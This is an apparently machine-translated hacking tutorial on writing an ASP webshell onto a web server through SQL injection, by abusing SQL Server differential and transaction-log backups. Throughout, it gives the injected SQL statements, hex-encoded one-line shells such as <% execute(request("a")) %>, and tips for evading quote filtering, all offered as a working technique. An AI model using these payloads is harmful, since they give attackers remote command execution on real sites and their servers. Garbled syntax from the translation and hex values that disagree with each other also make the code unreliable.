Review SQL Server differential backup

Review SQL Server differential backup

Review SQL server differential backup

MSSQL differential backup is compared with the previous backup to back up different content. In this way, as long as new content is inserted after the previous backup, differential backup can back up the newly inserted content, and this backup file will be greatly reduced, and the success of webShell has also improved a lot!

The differential backup process is like this:
1. Complete backup once (save location can be changed of course)
Backup database name to disk = 'C: \ ddd. Bak ';--

2. Create a table and import data into the episode
Create table [dbo]. [dtest] ([cmd] [image]);
Insert into dtest (cmd) values (0x3c25657865637574502821357175657374282261222929253e );--

3. Differential backup
Backup database name to disk = 'destination location \ d. asp 'with differential, FORMAT ;--

Above
0x3c25657865637574502810957175657374282261222929253e
Is the content of a Trojan in one sentence: <% execute (request ("a") %>

The following is a common differential backup code on the Internet. The idea is the same!
========================================================== ==============
Increase the success rate of backupwebshell and reduce file size by using differential backup
Steps:
Declare @ a sysname, @ s nvarchar (4000) select @ a = db_name (), @ s = 0x77006F006B0061006F002E00620061006B00 backup database @ a to disk = @ s

Create table [dbo]. [xiaolu] ([cmd] [image]);

Insert into xiaolu (cmd) values (0x3c25657865637574502821357175657374282261222929253e)

Declare @ a sysname, @ s nvarchar (4000) select @ a = db_name (), @ s = backing backup database @ a to disk = @ s with differential, FORMAT

0x77006F006B0061006F002E00620061006B00 is wokao. bak
0x3c25657865637574502810957175657374282261222929253e is <% execute (request ("a") %>
Authorization is e: \ web \ wokao. asp

Declaration: The method is not what I think. I only write a tool and the default shell is
<% Execute (request ("a") %>
========================================================== ======================================

I found that the above Code is sometimes invalid and is directly used

Backup database name to disk = 'C: \ ddd. Bak'

Create table [dbo]. [dtest] ([cmd] [image]);
Insert into dtest (cmd) values (0x3c25657865637574502821357175657374282261222929253e)

Backup database name to disk = 'destination location \ d. asp 'with differential, FORMAT ;--

But it can be successful, so write the original method! The idea was created by our predecessors. We do not know this!

The database name must be a valid database name, which can be obtained by common injection tools! If a website filters "'", convert the character content to a value!


There is also log Incremental backup on the Internet. I will record it.
========================================================== ==================
Another log Incremental Backup Technology:

'; Alter database null set recovery full --

'; Create table cmd (a image )--

'; Backup log null to disk = 'f: \ cmd' with init --

'; Insert into cmd (a) values (0x3c2565786563757450282135717565737428226122292
9253EDA )--

'; Backup log null to disk = 'backup path '--

PS: 0x3c2565786563757450281095717565737428226122292
9253EDA is a sentence in hexadecimal conversion of pony.

When talking about a sentence, you can also write the following statements:

A). <% 25 Execute (request ("a") % 25>
B). <% Execute (request ("a") %>
C). %> <% execute request ("a") %> <%
D ).